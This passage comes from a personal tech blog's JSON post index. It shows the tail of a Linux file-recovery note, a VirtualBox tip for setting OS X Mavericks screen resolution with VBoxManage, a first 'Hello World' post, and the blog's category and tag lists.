-rw-r–r– 1 root root 347 Oct 15 06:03 hosts.deny drwx—— 2 root root 4096 Oct 15 06:04 lost+found -rw-r–r– 1 root root 1635 Oct 15 06:03 passwd 总结:这里只能实现的是首次恢复的动作,并且不能有覆盖的动作,这个是很久以前都知道的知识,在这里做个笔记,以加深记忆!","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"}]},{"title":"VirtualBox OS X Mavericks 虚拟机分辨率调整","slug":"virtualbox-os-x-mavericks-screen-resolution","date":"2014-11-03T07:55:55.000Z","updated":"2022-11-08T12:47:15.901Z","comments":true,"path":"2014/11/03/virtualbox-os-x-mavericks-screen-resolution/","link":"","permalink":"https://ajasonwang.github.io/2014/11/03/virtualbox-os-x-mavericks-screen-resolution/","excerpt":"","text":"VirtualBox OS X Mavericks 分辨率修改 需要开启EFI模式 然后在命令行下 VirtualBox目录 输入一下命令: VBoxManage setextradata “虚拟机名称” VBoxInternal2/EfiGopMode N其中 N 可以是 0,1,2,3,4,5 其中一个,分别代表 640×480, 800×600, 1024×768, 1280×1024, 1440×900, 1920×1200 几种分辨率 Sample: "C:\\Program Files\\Oracle\\VirtualBox\\VBoxManage.exe" setextradata Mavericks VBoxInternal2/EfiGopMode 3 "C:\\Program Files\\Oracle\\VirtualBox\\VBoxManage.exe" setextradata Mavericks CustomVideoMode1 1280x960x32","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Mac","slug":"Mac","permalink":"https://ajasonwang.github.io/tags/Mac/"}]},{"title":"Hello World, 于2014年八月!","slug":"hello-my-2014-august","date":"2014-08-13T12:40:40.000Z","updated":"2022-11-08T12:47:15.870Z","comments":true,"path":"2014/08/13/hello-my-2014-august/","link":"","permalink":"https://ajasonwang.github.io/2014/08/13/hello-my-2014-august/","excerpt":"","text":"Start jekylling 本博客源代码克隆自 Yonsm.NET 的博客,谢谢原作者贡献","categories":[{"name":"文章","slug":"文章","permalink":"https://ajasonwang.github.io/categories/%E6%96%87%E7%AB%A0/"}],"tags":[{"name":"朝花夕拾","slug":"朝花夕拾","permalink":"https://ajasonwang.github.io/tags/%E6%9C%9D%E8%8A%B1%E5%A4%95%E6%8B%BE/"}]}],"categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"},{"name":"文章","slug":"文章","permalink":"https://ajasonwang.github.io/categories/%E6%96%87%E7%AB%A0/"},{"name":"诗歌","slug":"诗歌","permalink":"https://ajasonwang.github.io/categories/%E8%AF%97%E6%AD%8C/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"},{"name":"Kubernetes","slug":"Kubernetes","permalink":"https://ajasonwang.github.io/tags/Kubernetes/"},{"name":"Jenkins","slug":"Jenkins","permalink":"https://ajasonwang.github.io/tags/Jenkins/"},{"name":"安全","slug":"安全","permalink":"https://ajasonwang.github.io/tags/%E5%AE%89%E5%85%A8/"},{"name":"Windows","slug":"Windows","permalink":"https://ajasonwang.github.io/tags/Windows/"},{"name":"Python","slug":"Python","permalink":"https://ajasonwang.github.io/tags/Python/"},{"name":"Ubuntu","slug":"Ubuntu","permalink":"https://ajasonwang.github.io/tags/Ubuntu/"},{"name":"心情","slug":"心情","permalink":"https://ajasonwang.github.io/tags/%E5%BF%83%E6%83%85/"},{"name":"虚拟化","slug":"虚拟化","permalink":"https://ajasonwang.github.io/tags/%E8%99%9A%E6%8B%9F%E5%8C%96/"},{"name":"gitee","slug":"gitee","permalink":"https://ajasonwang.github.io/tags/gitee/"},{"name":"Security","slug":"Security","permalink":"https://ajasonwang.github.io/tags/Security/"},{"name":"Special","slug":"Special","permalink":"https://ajasonwang.github.io/tags/Special/"},{"name":"Git","slug":"Git","permalink":"https://ajasonwang.github.io/tags/Git/"},{"name":"朝花夕拾","slug":"朝花夕拾","permalink":"https://ajasonwang.github.io/tags/%E6%9C%9D%E8%8A%B1%E5%A4%95%E6%8B%BE/"},{"name":"GitHub","slug":"GitHub","permalink":"https://ajasonwang.github.io/tags/GitHub/"},{"name":"Google","slug":"Google","permalink":"https://ajasonwang.github.io/tags/Google/"},{"name":"安卓","slug":"安卓","permalink":"https://ajasonwang.github.io/tags/%E5%AE%89%E5%8D%93/"},{"name":"FreeBSD","slug":"FreeBSD","permalink":"https://ajasonwang.github.io/tags/FreeBSD/"},{"name":"MySQL","slug":"MySQL","permalink":"https://ajasonwang.github.io/tags/MySQL/"},{"name":"Mac","slug":"Mac","permalink":"https://ajasonwang.github.io/tags/Mac/"}]}